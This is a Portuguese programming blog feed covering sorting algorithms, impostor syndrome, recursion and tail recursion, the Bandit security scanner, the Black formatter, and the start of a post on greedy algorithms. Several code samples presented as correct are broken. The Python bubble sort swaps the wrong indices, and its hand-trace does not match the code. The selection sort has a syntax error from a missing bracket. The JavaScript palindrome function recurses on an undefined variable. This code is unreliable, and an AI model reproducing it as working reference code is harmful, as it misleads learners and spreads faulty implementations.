Fri, 10 May 2019 10:45:00 GMT

Voltamos a falar sobre algoritmos, e dessa vez o tópico é sobre ordenação de elementos. As linguagens de programação abstraem toda a complexidade envolvida para nós, mas mais que fundamental, compreender como tais algoritmos funcionam é mais um passo adiante no aprendizado das Ciências da Computação.

Definição

Algoritmos de ordenação (ou Sorting Algorithms) podem ser definidos como:

(...) an algorithm made up of a series of instructions that takes an array as input, performs specified operations on the array, sometimes called a list, and outputs a sorted array. (...) There are many factors to consider when choosing a sorting algorithm to use.

Resumidamente, é o tipo de algoritmo que tem por entrada um array e organiza os seus items seguindo uma ordem. Um fator a se considerar é que, as dimensões do array, e as limitações de espaço, podem influenciar na escolha do algoritmo que será utilizado.

Bubble sort

O Bubble sort é a escolha mais comum quando começamos a estudar sobre algoritmos e ordenação, por sua simplicidade e por dar uma ideia geral sobre como funcionam tais algoritmos.

Os passos são os seguintes:

Compare A[0] e A[1]. Se A[0] for maior que A[1], troque os elementos;
Vá para A[1]. Se A[1] for maior que A[2], troque os elementos; Repita o processo para cada par de elementos até o final do array;
Repita os passos 1 e 2 n vezes.

E é daí que vem seu nome: Pegue o valor mais alto, e "bubble it up" até o fim do array.

Abaixo o algoritmo representado em código Python:

def bubble_sort(array):
    """
    Teste de mesa
    -------------

    array = []:
        - `i` é `-1`, não cai no laço `while` e retorna array sem modificações

    array = [1]:
        - `i` é `0`, não cai no laço `while` e retorna array sem modificações

    array = [1, 2]:
        - `i` é `1`, entra no laço `while`
        - `range(1)` resulta em `[0]`
        - `j` é `0`. `j[0]` é menor que `j[1]`. Não faz swap
        - Sai do laço `for`
        - `i` é `0`. Sai do laço `while`
        - Retorna array sem modificações

    array = [3, 1, 2, 4]:
        - `i` é `3`, entra no laço `while`
        - `range(3)` resulta em `[0, 1, 2]`
        - `j` é `0`. `j[0]` é maior que `j[1]`. Faz swap
        - `array` fica [1, 3, 2, 4]
        - `j` é `1`. `j[1]` é maior que `j[2]`. Faz swap
        - `array` fica [1, 2, 3, 4]
        - `j` é `2`. `j[2]` é menor que `j[3]`. Não faz swap
        - Sai do laço `for`
        - `i` é `2`, entra no laço `for [0, 1]`. Itens estão ordenados. Não faz swap
        - Sai do laço `for`
        - `i` é `1`, entra no laço `for [0]`. Itens estão ordenados. Não faz swap
        - `i` é `0`. Sai do laço `while`
        - Retorna array ordenado
    """
    def swap(i, j):
        array[i], array[j] = array[j], array[i]

    i = len(array) - 1
    while i >= 0:
        for j in range(i):
            if array[j] > array[j + 1]:
                swap(i, j)
        i -= 1

    # Ao alterar o array in-place, não há reais motivos para retorná-lo
    return array

Running-time complexity: Para cada elemento do array, o algoritmo faz n - 1 comparações. Considerando que ele percorre todo o array fazendo n - 1 comparações, em big O notation temos O(n^2).
Space complexity: Como operamos a troca de elementos (swap), não precisamos de nenhuma outra estrutura de dados para armazenar o resultado da operação, com isso, temos complexidade de espaço de O(1).

Selection sort

Outro algoritmo simples e intuitivo, e ligeiramente mais performático, é o Selection sort.

Os passos podem ser resumidos em:

Encontre o menor valor;
Troque o menor valor com o primeiro item do array;
Encontre o segundo menor valor;
Troque o segundo menor valor com o segundo item do array;
Repita a operação até o array estar ordenado.

Um mundo sem ordem é um mundo infeliz (tasteofcinema.com)

No algoritmo anterior tínhamos como finalidade mover o maior valor para o final do array. Nesse, a finalidade é selecionar o valor mais baixo no array, e movê-lo para o começo da estrutura.

def selection_sort(array):
    """
    Teste de mesa
    -------------

    array = []:
        - `len(array)` é `0`, não cai no primeiro no laço `for` e retorna array sem modificações

    array = [1]:
        - `len(array)` é `1`, entra no primeiro laço `for`
        - `min_index` é `0`, não entra no segundo laço
        - Retorna array sem modificações

    array = [1, 2]:
        - `len(array)` é `2`, entra no primeiro laço `for`
        - `i` é `0` e `min_index` é `0`. Entra no segundo laço `for`
        - `j` é `1`. `array[0]` não é maior que `array[1]`
        - Sai do segundo laço `for`
        - Faz swap `0` (`i`) e `0` (`min_index`)
        - Retorna array sem modificações

    array = [3, 1, 2, 4]:
        - `len(array)` é `4`, entra no primeiro laço `for`
        - `i` é `0` e `min_index` é `0`. Entra no segundo laço `for`
        - `j` é `1`. `array[0]` é maior que `array[1]`
        - `min_index` é `1`
        - `j` é `2`. `array[1]` não é maior que `array[2]`
        - `j` é `3`. `array[1]` não é maior que `array[3]`
        - Sai do segundo laço `for`
        - Faz swap `0` (`i`) e `1` (`min_index`)
        - `array` fica [1, 3, 2, 4]
        - `i` é `1` e `min_index` é `1`. Entra no segundo laço `for`
        - `j` é `2`. `array[1]` é maior que `array[2]`
        - `min_index` é `2`
        - `j` é `3`. `array[2]` não é maior que `array[3]`
        - Sai do segundo laço `for`
        - Faz swap `1` (`i`) e `2` (`min_index`)
        - `array` fica [1, 2, 3, 4]
        - `i` é `2` e `min_index` é `2`. Entra no segundo laço `for`
        - `j` é `3`. `array[2]` não é maior que `array[3]`
        - Sai do segundo laço `for`
        - Faz swap `2` (`i`) e `2` (`min_index`)
        - `i` é `3` e `min_index` é `3`. Não entra no segundo laço `for`
        - Faz swap `3` (`i`) e `3` (`min_index`)
        - Sai do primeiro laço `for`
        - Retorna array ordenado
    """
    def swap(i, j):
        array[i], array[j] = array[j], array[i

    for i in range(len(array)):
        min_index = i
        for j in range(i + 1, len(array)):
            if array[min_index] > array[j]:
                min_index = j

        swap(i, min_index)

    # Ao alterar o array in-place, não há reais motivos para retorná-lo
    return array

Running-time complexity: Ao percebermos os dois loops alinhados, percorrendo a dimensão do array cada, podemos concluir que a complexidade é de O(n^2).
Space complexity: Como operamos a troca de elementos (swap), não precisamos de nenhuma outra estrutura de dados para armazenar o resultado da operação, com isso, temos complexidade de espaço de O(1).

Insertion sort

Para finalizar essa primeira parte do artigo, apresentamos o Insertion sort.

Embora ele se compare aos dois algoritmos acima em running time, na minha opinião, imaginar o seu funcionamento demanda um pouquinho mais de esforço. Nesse algoritmo, o propósito é achar o lugar onde o elemento deveria estar no array:

Para cada elemento A[i];
Se A[i] > A[i + 1];
Troque os elementos até A[i] <= A[i + 1].

Abaixo a implementação em Python:

def insertion_sort(array):
    """
    Teste de mesa
    -------------

    array = []:
        - `len(array)` é `0`, não cai no laço `for` e retorno array sem modificações

    array = [1]:
        - `len(array)` é `1`, mas `range(1, len(array))` resulta em `[]`
        - Retorna array sem modificações

    array = [1, 2]:
        - `len(array)` é `2`, entra no laço `for`
        - `slot` é `1`. `value` é `2` e `test_slot` é `0`
        - `test_slot` é maior que `-1`, mas `array[0]` não é maior que `2`
        - `array[1]` recebe `2` (mesmo valor)
        - Retorna array sem modificações

    array = [3, 1, 2, 4]:
        - `len(array)` é `4`, entra no laço `for`
        - `slot` é `1`, `value` é `1` e `test_slot` é `0`
        - `test_slot` é maior que `-1` e `array[0]` é maior que `1`. Entra no laço `while`
        - `array[1]` recebe `array[0]`
        - `test_slot` é `-1`
        - `array` fica [3, 3, 2, 4]
        - `test_slot` não é maior que `-1`. Sai do laço `while`
        - `array[0]` recebe `1`
        - `array` fica [1, 3, 2, 4]
        - `slot` é `2`, `value` é `2` e `test_slot` é `1`
        - `test_slot` é maior que `-1` e `array[1]` é maior que `2`. Entra no laço `while`
        - `array[2]` recebe `3`
        - `test_slot` é `0`
        - `array` fica [1, 3, 3, 4]
        - `test_slot` é maior que `-1`, mas `array[0]` não é maior que `2`. Sai do laço `while`
        - `array[1]` recebe `2`
        - `array` fica [1, 2, 3, 4]
        - `slot` é `3`, `value` é `4` e `test_slot` é `2`
        - `test_slot` é maior que `-1`, mas `array[2]` não é maior que `4`. Não entra no laço `while`
        - `array[3]` recebe `4` (mesmo valor). Sai do laço `for`
        - Retorna array ordenado
    """

    for slot in range(1, len(array)):
        value = array[slot]
        test_slot = slot - 1

        while test_slot > -1 and array[test_slot] > value:
            array[test_slot + 1] = array[test_slot]
            test_slot = test_slot - 1

        array[test_slot + 1] = value

    # Ao alterar o array in-place, não há reais motivos para retorná-lo
    return array

Running-time complexity: No melhor cenário, o algoritmo terá complexidade O(n). O mesmo apresenta complexidade O(n^2) como pior cenário.
Space complexity: Como operamos a troca de elementos (swap), não precisamos de nenhuma outra estrutura de dados para armazenar o resultado da operação, com isso, temos complexidade de espaço de O(1).

Considerações finais

Os algoritmos listados nesse artigo não possuem performance atrativa, mas são a escolha perfeita para introduzir o conceito de algoritmos e ordenação de elementos. E por mais que você sinta-se tentado a defender a ótima característica de space complexity que eles possuem, ainda assim há soluções mais práticas para os problemas de ordenação do cotidiano.

Nos próximos artigos vamos explorar algumas delas, como o Merge e Quicksort.

Referências

Peça ajuda!

Tue, 30 Apr 2019 17:30:00 GMT

Desde que assisti ao (razoável) Eu Sou a Lenda, uma pergunta instalou-se em minha cabeça: E se eu fosse o último ser humano vivo depois de um apocalipse zumbi? Alguns bons anos depois da estreia do filme, posso dizer com toda a sobriedade que, se eu o fosse, seria por muita sorte, e possivelmente não viveria muito tempo mais.

Quantas pessoas é preciso para construir um lápis?

As vezes esquecemos que no mundo globalizado em que vivemos, é muito raro sermos os únicos agentes por trás de uma ideia ou produto. O lápis, que você usa diariamente e nem nota a tamanha importância que tem, passou pela mão de centenas de pessoas antes de chegar à sua mesa. Não é incomum olharmos algo simples, e automaticamente assumirmos como fácil.

Algumas semanas atrás eu estava enfrentando uma daquelas tarefas "toca do coelho da Alice". Na primeira estimativa do time parecia algo trivial, de baixa complexidade. Com o tempo, e descobrindo mais sobre os requisitos (de produto e técnicos), a complexidade foi crescendo exponencialmente. Logo, aquele ticket que teoricamente seria resolvido em uma iteração, estava em seu terceiro sprint, e sem grandes perspectivas de acabar.

Help me, Obi-Wan (starwars.com)

Cada daily meeting era uma tortura. Era como reconhecer que eu estava falhando como desenvolvedor, e que não tinha a capacidade de entregar uma história teoricamente simples. O medo de mostrar vulnerabilidade trouxe a necessidade de ser menos transparente em relação aos reais motivos por trás do atraso. No fim, só conseguia enxergar que eu era o culpado por todo aquele atraso, e que era o fim da linha para mim como desenvolvedor na empresa que eu havia acabado de ingressar.

Era como correr de um zumbi, sem realmente ter um plano para escapar dele.

A Síndrome do Impostor ou Efeito Dunning-Kruger?

Nem preciso dizer que toda essa dinâmica resultou em picos altíssimos de ansiedade, e quando menos percebi estava preso no círculo vicioso da Síndrome do Impostor. Segundo o Wikipedia:

As pessoas que sofrem este tipo de síndrome, de forma permanente, temporária ou frequente, parecem incapazes de internalizar os seus feitos na vida. Não importando o nível de sucesso alcançado em sua área de estudo ou trabalho, ou quaisquer que sejam as provas externas de suas competências, essas pessoas permanecem convencidas de que não merecem o sucesso alcançado e que de fato são nada menos do que fraudes.

O medo de descobrirem a "fraude" me colocou na defensiva. Uma cortina de fumaça. Se eu conseguisse resolver aquele problema, sem ajuda nenhuma, eu ganharia tempo, e todo esse episódio seria esquecido.

Hoje fica fácil olhar para trás e reconhecer que na época, eu tinha pouca experiência com a plataforma Java, e que eu deveria adicionar isso como argumento no momento da estimativa. Eu "achava que sabia o que eu não sabia", uma espécie de Efeito Dunning-Kruger:

(...) é o fenômeno pelo qual indivíduos que possuem pouco conhecimento sobre um assunto acreditam saber mais que outros mais bem preparados, fazendo com que tomem decisões erradas e cheguem a resultados indevidos; é a sua incompetência que os restringe da habilidade de reconhecer os próprios erros. Estas pessoas sofrem de superioridade ilusória.

"Isso é fácil! Resolvo em um sprint, sem dúvida. Sou um excelente desenvolvedor".

Não! Não seja um herói! (anythingzombie.com)

É essa mesma superioridade ilusória que faz você acreditar que sim, sobreviveria a um outbreak zumbi.

Somos um exército de um homem só

Só aprendi a controlar o ego através da "dor". Somente após viver cercado de profissionais muito mais capazes do que eu o era, e que diariamente me provocavam um reality check. Em algum momento desse período eu compreendi que era mais fácil adotar uma postura humilde, me aproximar de tais profissionais, e aprender o que fosse possível com eles.

Nem Will Smith aguenta sozinho (looper.com)

Mas a competividade no setor de Tecnologia da Informação é alta, e isso pode resultar em ambientes tóxicos. Empresas que não te permitem errar, que possuem um sistema de evolução de carreira baseado somente em avaliações 360 e produtividade, ou colegas de trabalho que pecam em soft skills com um "como é que você não sabe isso?". Pedir ajuda em um ambiente como esse não é nada atrativo, e o empenho de resolver um problema sozinho pode parecer mais recompensador.

Mas a dura realidade é que, mesmo que você sobreviva ao outbreak zumbi, você não seria capaz de fabricar um lápis sozinho.

Help!

Como eu resolvi o meu problema? Pedindo ajuda, claro.

Tenho o privilégio de trabalhar na Dinamarca atualmente, um país com níveis de work-life balance impressionantes. Grande parte dos meus colegas de trabalho têm por filosofia de vida o "existe vida lá fora" com pitadas de "não se leve tão a sério" e "você não é o seu crachá". O que resulta em um ambiente de trabalho relativamente leve, te dando segurança para mostrar suas vulnerabilidades, e de aprender com os próprios erros.

Ser vulnerável não é algo ruim. Sair da zona de conforto e "lutar a boa luta" exige energia, exige movimento, proatividade. Quebre esse círculo vicioso da insegurança e peça ajuda!

Antes de ir

A grande lição que fica disso é que, ao se levar muito a sério, você deixa de fazer algo que deveria ser muito comum no meio Agile: Errar.

Se você estiver nadando em um mar de angústia e ansiedade, espero que esse depoimento te motive a quebrar o círculo vicioso, e a pedir ajuda. Não há "desonra" nisso, e bobear você aprende algo novo por tabela.

Permita-se "ligar o fod*-se" de vez em quando.

Até a próxima.

Referências

Boa Noite Internet - Um podcast procurando respostas

Recursividade e o "dividir e conquistar"

Mon, 25 Mar 2019 18:55:00 GMT

Sabe aquelas pessoas que têm problemas em determinar qual lado é o "esquerdo" e qual lado é o "direito"? Admito, sem orgulho algum, que tenho o mesmo problema com recursividade. Meu cérebro simplesmente se embaralha, e preciso fazer um grande esforço para imaginar o que está acontecendo.

A boa notícia é que assim como usar a mão do relógio (ou a mão que você escreve) ajuda a determinar o que é esquerda e direita, é possível utilizar alguns padrões de escrita de código para ajudar a entender o que está acontecendo em um algoritmo com recursividade.

Mas como só a receita de bolo não basta... senta que lá vem história.

Napoleão style!

O "Dividir e Conquistar" (ou Divide and Conquer), assim como os Greedy algorithms, é um paradigma para construção de algoritmos (algorithmic paradigm), onde a ideia é resolver um determinado problema utilizando três passos diferentes:

Dividir: Quebre um determinado problema em subproblemas do mesmo tipo;
Conquistar: Resolva esses subproblemas de forma recursiva;
Combinar: Combine as respostas apropriadamente.

Algoritmos de ordenação famosos, como o Quicksort e o Merge Sort, utilizam esse paradigma para apresentar soluções com performance ótima.

Não! Não esse Napoleon... (youtube.com)

Compreender essa estrutura é um bom passo para dominar funções recursivas. Na verdade, a utilização de recursividade parte do princípio que você seja capaz de quebrar um grande problema em problemas menores (e semelhantes). No fim, os dois conceitos se completam e é difícil imaginar um sem o outro. O tutorialspoint reforça essa idea:

In divide and conquer approach, the problem in hand, is divided into smaller sub-problems and then each problem is solved independently. When we keep on dividing the subproblems into even smaller sub-problems, we may eventually reach a stage where no more division is possible. Those "atomic" smallest possible sub-problem (fractions) are solved. The solution of all sub-problems is finally merged in order to obtain the solution of an original problem.

Não será surpresa se vermos a mesma receita se repetir pelo resto desse post.

Uma função que chama a si mesmo

O Wikibooks explica de forma muito clara o que é recursividade:

Recursão é um método de programação no qual uma função pode chamar a si mesma. O termo é usado de maneira mais geral para descrever o processo de repetição de um objeto de um jeito similar ao que já fora mostrado. Muitos problemas em computação tem a propriedade de que cada instância sua contém uma instância menor do mesmo problema.

Em termos mais práticos, é como se criássemos uma função para fatorar, e essa função chamasse a ela mesma:

FUNÇÃO fatorial(numero)
    RETORNE numero * fatorial(numero - 1)
FIM

Vamos fazer um rápido teste de mesa. Imagine que queremos saber o fatorial de 3:

fatorial(3): Retorna 3 * fatorial(2);
fatorial(2): Retorna 2 * fatorial(1);
Por intuição (falaremos mais sobre esse passo a seguir), assumimos que fatorial(1) == 1.

A função chama a si mesma recursivamente em uma versão menor da entrada (n - 1), e multiplica o resultado por numero. Podemos visualizar o resultado desse comportamento ao fazer o caminho "de baixo para cima" na lista acima: 1 * 2 * 3 = 6.

Duas referências no mesmo post. Ousado! (mashable.com)

Roubamos no exemplo anterior, quando dissemos que por intuição sabemos o resultado da última etapa. "Intuição" não funciona do ponto de vista do algoritmo, e acabaríamos com um loop infinito, uma vez que não informamos em qual momento a função tem que parar de chamar a si mesma. O caso acima, se executado em uma linguagem de programação, vai resultar no famoso estouro de pilha (ou stack overflow).

Precisamos adicionar o que é conhecido por "caso base" (ou "condição de parada") ao algoritmo. É esse caso que vai determinar quando a função deve parar:

FUNÇÃO fatorial(numero)
    SE numero <= 1 ENTÃO
        RETORNE 1
    SENÃO
        RETORNE numero * fatorial(numero - 1)
FIM

Pronto! Podemos refazer o nosso teste de mesa:

fatorial(3): Retorna 3 * fatorial(2);
fatorial(2): Retorna 2 * fatorial(1);
fatorial(1): Retorna 1.

É possível perceber uma estrutura que costuma se repetir em outros algoritmos que utilizam recursão:

Um número limitado de casos base;
Um caso recursivo;
Uma chamada externa (ex.: fatorial(3));
Um conjunto de chamadas recursivas (ex.: fatorial(3 - 1)).

Tail recursion

Voltando ao exemplo fatorial(3), uma melhor leitura da ordem de chamada seria a seguinte:

fatorial(3)
3 * fatorial(2)
3 * (2 * fatorial(1))
3 * (2 * (1))

Cada linha cria um stack frame, que é empilhado de acordo com a ordem das chamadas. Ao fim da última chamada recursiva, os frames são retirados gradativamente da pilha, como ilustrado no exemplo abaixo:

{% img align-center-keep-size /images/blog/javascript-stack-example.png 740 243 Exemplo de call stack em Javascript (thinkingincrowd.me) %}

Uma função recursiva é tail recursive quando a chamada recursiva é a última coisa executada pela função. No nosso exemplo, temos uma função que aparentemente possui essa característica. Porém, não é certo dizer que ela possui de fato recursão de cauda, uma vez que temos que considerar que fatorial(numero - 1) é usado dentro de fatorial(numero). O exemplo abaixo passa a ideia de que a chamada da função não é a última coisa executada no frame:

Chamada inicial: fatorial(3)
Frame 1: 3 * fatorial(2)
Frame 2: 3 * (2 * fatorial(1))
Frame 3: Atinge caso base em fatorial(1) e retorna 1
Frame 2: 3 * (2 * (1))
Frame 1: 3 * (2)
Retorno da chamada inicial: 6

Segundo o GeeksForGeeks:

Consider the (...) function to calculate factorial of n. It is a non-tail-recursive function. Although it looks like a tail recursive at first look. If we take a closer look, we can see that the value returned by fact(n-1) is used in fact(n), so the call to fact(n-1) is not the last thing done by fact(n)

É preciso fazer uma manutenção no corpo da função:

FUNÇÃO fatorial-interna(numero, acumulador)
    SE numero == 0 ENTÃO
        RETORNE acumulador
    SENÃO
        RETORNE fatorial-interna(numero - 1, numero * acumulador)

FUNÇÃO fatorial(numero)
    RETORNE fatorial-interna(numero, 1)
FIM

Como resultado, teremos um call stack diferente:

Chamada inicial: fatorial(3)
Frame 1: fatorial-interna(3, 1)
Frame 2: fatorial-interna(2, 3)
Frame 3: fatorial-interna(1, 6)
Frame 4: Atinge caso base em fatorial-interna(0, 6) e retorna 6
Frame 3: Retorno de 6
Frame 2: Retorno de 6
Frame 1: Retorno de 6
Retorno da chamada inicial: 6

Qual a real motivação em utilizar funções com recursão de cauda? Esse tipo de função pode ser otimizada pelo interpretador/compilador, portanto, o seu uso é encorajado em linguagens que suportam essa funcionalidade. De forma bem resumida, uma vez que a chamada recursiva é o último "statement", não há nada mais para ser executado pela função corrente, podendo utilizar o mesmo stack frame, minimizando o esforço de empilhar e desempilhar chamadas:

Chamada inicial: fatorial(3)
Frame 1: fatorial-interna(3, 1)
Frame 1: fatorial-interna(2, 3)
Frame 1: fatorial-interna(1, 6)
Frame 1: Atinge caso base em fatorial-interna(0, 6) e retorna 6
Retorno da chamada inicial: 6

Na prática

Vamos para uma abordagem mais prática, e para esse bloco, nada melhor que um dos desafios mais populares em entrevistas de emprego: Determinar se uma palavra é palíndromo.

Segundo o TodaMatéria:

Palíndromo, do grego palin (novo) e dromo (percurso), é toda palavra ou frase que pode ser lida de trás pra frente e que, independente da direção, mantém o seu sentido.

Vamos nos ater apenas à palavra. Utilizando a ideia de dividir e conquistar, é possível imaginar o seguinte algoritmo:

Dividir: Recebo determinada palavra, ou qualquer fração da mesma (exemplo: arara, rar, a).

Conquistar:

Se a largura da palavra for igual a 1 (exemplo: a), é palíndromo. Esse é um caso base;
Senão, se primeira e última letra da palavra forem diferentes (exemplo: araro), não é palíndromo. Esse é o segundo caso base;
Senão, retiramos a primeira e última letra da palavra, e passamos a nova palavra como parâmetro recursivamente (exemplo: rar).

Combinar: O resultado do último caso base executado vai dizer se o parâmetro passado é palíndromo ou não.

Em Javascript, podemos reproduzir as condições acima da seguinte forma:

const isPalindrome = (word) => {
  // Caso base #1
  if (word.length <= 1) {
    return true;
  }

  // Caso base #2
  if (word.slice(0, 1) !== word.slice(-1)) {
    return false;
  }

  // Chamada recursiva
  return isPalindrome(str.slice(1, -1));
};

Acredito que deixando a chamada recursiva para o final, além de ser mais fácil de imaginar o problema e seus diferentes casos, "ganhamos" a característica de tail recursion.

Considerações finais

Recursividade sempre é um assunto que demanda um pouco mais de energia na leitura de um código, principalmente se você (assim como eu) prefere a forma iterativa (com for ou while e utilizando uma stack como estrutura de dados), mas sem dúvida alguma que compreender o divide and conquer e praticar uma forma mais estruturada de pensar facilita na compreensão de problemas com recursão.

Até a próxima.

Referências

Assegure a qualidade do seu código Python - Bandit

Thu, 21 Feb 2019 12:45:00 GMT

Já falamos sobre algumas ferramentas de qualidade de código Python aqui no blog. De pycodestyle a Clone Digger, passando por Pyflakes e Pylint. Além do flake8 (que acredito não precisar de apresentações), uma ferramenta que passei a ter sempre no meu toolbelt foi o Bandit.

Na verdade, ele não é exatamente um code linter, mas sim uma ferramenta para testar a segurança do seu projeto Python. Em tempos onde cada vez mais somos expostos a falhas de segurança em aplicações, e tais falhas podem ser um fator crucial para o fracasso de um negócio, cuidado nunca é demais.

O seguro morreu de velho

O Bandit é uma ferramenta construída para encontrar problemas comuns de segurança em projetos Python. Livre e de código aberto (Apache 2), está disponível para instalação através do pip:

$ pip install bandit

Uma vez instalado, basta executá-lo através do terminal:

$ bandit -r caminho-para-projeto-python

Note que o parâmetro -r acima instrui o utilitário a executar de forma recursiva, iterando sobre todos os arquivos e pastas dentro do caminho especificado. Outro parâmetro comum é o -t, onde é possível especificar quais testes você quer executar:

$ bandit -r ~/Workspace/klaus/blog -t B101,B102

O Bandit considera como vulnerabilidades desde o uso de assert (B101), passando pelo uso de eval (B307), até possíveis brechas para SQL injection (B608). Uma lista completa de todos os plugins está disponível na documentação oficial.

Segurança na web é como fazer parte do filme Agarra-me Se Puderes (adorocinema.com)

Se você utiliza pytest para escrever os seus testes, o item B101 pode ser um problema, uma vez que é normal utilizar assert ao invés do convencional self.assertEquals. Nesse caso, uma das formas de contornar esse comportamento é ignorando os testes:

$ bandit -r . -x tests/

Também é possível ter um arquivo de configuração (.bandit) na raíz do seu projeto:

[bandit]
exclude: tests

Para finalizar, através do parâmetro -f é possível emitir a saída em diferentes formatos, como CSV, HTML, JSON, XML e YAML.

Considerações finais

O Bandit é aquela ferramenta perfeita para você ter em seu pre-commit ou em seu CI. Inclusive, o Codacy, serviço super bacana que avalia a qualidade do seu código, utiliza o Bandit em seu processo de análise. Com isso, fica fácil de integrá-lo ao seu processo de Pull Request/Code Review.

Um bom custo vs. benefício para o seu projeto.

Até a próxima.

Referências

Github - Bandit

Deixe darem pitaco no seu código com Black

Thu, 07 Feb 2019 14:20:00 GMT

Já abordamos code formatters aqui no blog. Para Javascript temos o Prettier como solução mais famosa, e há de se reconhecer a série de vantagens no uso da mesma. Acontece que para Python temos algumas ferramentas tão interessantes quanto, como o autopep8, yapf e o Black.

E é sobre o último que falaremos nesse post.

Se você está interessado em um comparativo, Kevin Peters escreveu um artigo bem interessante para o Medium chamado "Auto formatters for Python".

Além do PEP 8

A motivação para usar o Black é a mesma descrita no post sobre Prettier: Reduzir tempo discutindo code style, e deixar com que uma ferramenta tome essa decisão pelo time.

Em Python, o caminho para chegarmos a um consenso é relativamente menor. Uma das primeiras coisas que aprendi ao iniciar a minha jornada programando com a linguagem foi seguir a PEP 8 religiosamente. Nela estão descritas as convenções de código adotadas oficialmente, como linhas em branco, indentação, nomes, comentários, etc. Qual o motivo de perder tempo pensando em um style guide para o seu projeto se isso já foi discutido e formalizado pela comunidade?

Ferramentas de linting como pycodestyle e flake8 são essenciais e muito comuns. São elas que irão te alertar sobre possíveis quebras de estilo de código.

Mas com o Black vamos além...

Formatador descompromissado

O Black é um code formatter para Python, de código aberto (MIT), que tem por lema tornar a formatação "transparente", para que você possa focar no conteúdo.

O time do Black alega que a ferramenta é "descompromissada", mas nem por isso ela deixa de ser pretensiosa. Diretamente do repositório no Github:

By using it, you agree to cede control over minutiae of hand-formatting. In return, Black gives you speed, determinism, and freedom from pycodestyle nagging about formatting. You will save time and mental energy for more important matters.

Em outras palavras, a ferramenta segue as recomendações da PEP 8 e formata seu código automaticamente. Na verdade, o coding style utilizado é um subset da PEP 8, logo, algumas regras são "manipuladas" (como line-length e aspas ao invés de apóstrofos) de acordo com decisões tomadas pelo time de desenvolvedores da ferramenta.

Pare de perder tempo discutindo convenção de código no code review e vá viver sua vida, como o Walter fez (gq.co.za)

Caso você não concorde com algumas liberdades que a ferramenta toma, é possível customizar algumas regras adotadas pelo editor. Por exemplo, se você é um usuário assíduo de single quotes e não concorda com o uso de double quotes, pode executar o utilitário com o argumento --skip-string-normalization. Na humilde opinião de quem vos escreve, se você se pegar usando o Black com muitas exceções, talvez valha a pena procurar outra ferramenta de formatting, como os próprios desenvolvedores sugerem:

Pro-tip: If you're asking yourself "Do I need to configure anything?" the answer is "No". Black is all about sensible defaults.

No terminal

Mas chega de papo, vamos ao que interessa:

$ pip install black

Como qualquer biblioteca Python, instalamos o Black através do utilitário pip. Na sequência, basta executá-lo apontando qual arquivo você pretende formatar.

$ black test.py
reformatted test.py
All done! ✨ 🍰 ✨
1 file reformatted.

Também é possível passar um diretório como argumento:

$ black plugins/
reformatted /Users/klaus/Workspace/blog/plugins/global_license.py
reformatted /Users/klaus/Workspace/blog/plugins/slideshare.py
All done! ✨ 🍰 ✨
2 files reformatted, 4 files left unchanged.

Não estranhe se a simpática fatia de bolo acima abrir o seu apetite.

Customizações, embora possam ser chamadas através de parâmetros de linha de comando, também podem ser armazenadas no pyproject.toml do seu projeto, como ilustra a documentação oficial.

No editor

Mas o melhor mesmo é ter o Black disponível no seu editor, deixando-o trabalhar em tempo de escrita de código.

Há uma vasta opção de editores que suportam o Black. Para o Vim, continuo com a opinião do artigo "Vim para desenvolvimento Python" e recomendo a utilização do ALE:

" ~/.vimrc

Plug 'w0rp/ale', { 'do': 'pip install black' }
call plug#end()

let g:ale_fix_on_save = 1
let g:ale_fixers = {
\   'python': [
\       'black',
\       'remove_trailing_lines',
\       'trim_whitespace'
\   ]
\}

Já para o VS Code, com o plugin oficial para Python, podemos configurá-lo como ferramenta de formatting:

{
  "python.formatting.blackPath": "black",
  "python.formatting.provider": "black"
}

Em todo lugar

Outra opção que deveria ser adotada, independente da utilização do Black no editor, é o uso de commit hooks para formatar arquivos alterados controlados via git. Volto a recomendar o pre-commit como ferramenta, e a boa notícia é que existe um hook com Black configurado e prontinho para uso:

repos:
- repo: https://github.com/ambv/black
rev: stable
hooks:
- id: black
    language_version: python3.7

Considerações finais

É impressionante a quantidade de tempo e atrito que economizamos quando adotamos uma ferramenta como Black ou yapf. Discussões relacionadas a style guide praticamente inexistem, e os code reviews são mais focados no problema e na qualidade do código, do que com convenções.

Já tive experiências ruins com formatters em Python, é verdade. Nem todo time ou projeto se adapta bem com esse tipo de "ferramenta impositiva", e embora os pontos positivos sejam óbvios, é na prática que você verá os negativos. Mas não me vejo mais deixando de ter esse tipo de auxílio enquanto escrevo código.

É também uma forma de pensarmos na experiência dos outros desenvolvedores, que se juntarão ao projeto durante o seu ciclo de vida.

Até a próxima.

Referências

Os greedy algorithms

Sun, 27 Jan 2019 15:28:00 GMT

Quando estive revisando a disciplina de algoritmos, me deparei com os tais "algoritmos gulosos", ou greedy algorithms. Lembro que na época eu automaticamente associei o termo a soluções de baixa utilidade ou performance. Mal sabia eu que estive equivocado esse tempo todo.

Os greedy algorithms são fundamentais nos estudos de algoritmos e otimizações, não à toa o mundo acadêmico faz questão de mencioná-los em uma variedade de cursos de algoritmos ou de computação. Mas algumas definições podem passar uma ideia equivocada sobre o que eles realmente são, e do que são capazes.

Definição

Embora a Wikipedia possua uma definição interessante sobre o assunto, foi no GeeksforGeeks que encontrei uma passagem bem esclarecedora:

Greedy is an algorithmic paradigm that builds up a solution piece by piece, always choosing the next piece that offers the most obvious and immediate benefit. So the problems where choosing locally optimal also leads to global solution are best fit for Greedy.

O Paulo Feofiloff vai além em "Algoritmos gulosos":

Para resolver um problema, um algoritmo guloso escolhe, em cada iteração, o objeto mais apetitoso que vê pela frente. (...) Um algoritmo guloso é míope: ele toma decisões com base nas informações disponíveis na iteração corrente, sem olhar as consequências que essas decisões terão no futuro. Um algoritmo guloso jamais se arrepende ou volta atrás: as escolhas que faz em cada iteração são definitivas.

A estratégia gulosa tem por abordagem encontrar a melhor resposta para cada passo, sem se importar em resolver esse passo novamente ou com os passos seguintes, esperando como consequência um resultado global ótimo. Acabamos por ter algoritmos mais simples e intuitivos em grande parte dos casos, mas não necessariamente apresentando a melhor resposta.

Algoritmos gulosos são como o Maijin Boo. Gulosos em essência, mas nem por isso não eficazes (tvovermind.com)

As propriedades desse paradigma podem lembrar outras formas de escrever algoritmos, portanto, é importante saber diferenciá-lo.

Greedy não é brute-force

É bom deixar claro que um algoritmo guloso não é um algoritmo de força bruta:

Greedy significa que o algoritmo, a cada passo, seleciona a melhor opção para aquele passo;
Brute-force significa que o algoritmo seleciona uma opção de uma maneira mais simples, óbvia ou direta. E que repete essa tentativa até encontrar o resultado esperado.

Greedy não é naive

Essa talvez tenha sido a origem da minha confusão. Naive algorithms são de certa forma o primeiro passo para quando você está tentando resolver um problema complexo: Primeiro faça funcionar, depois faça melhor.

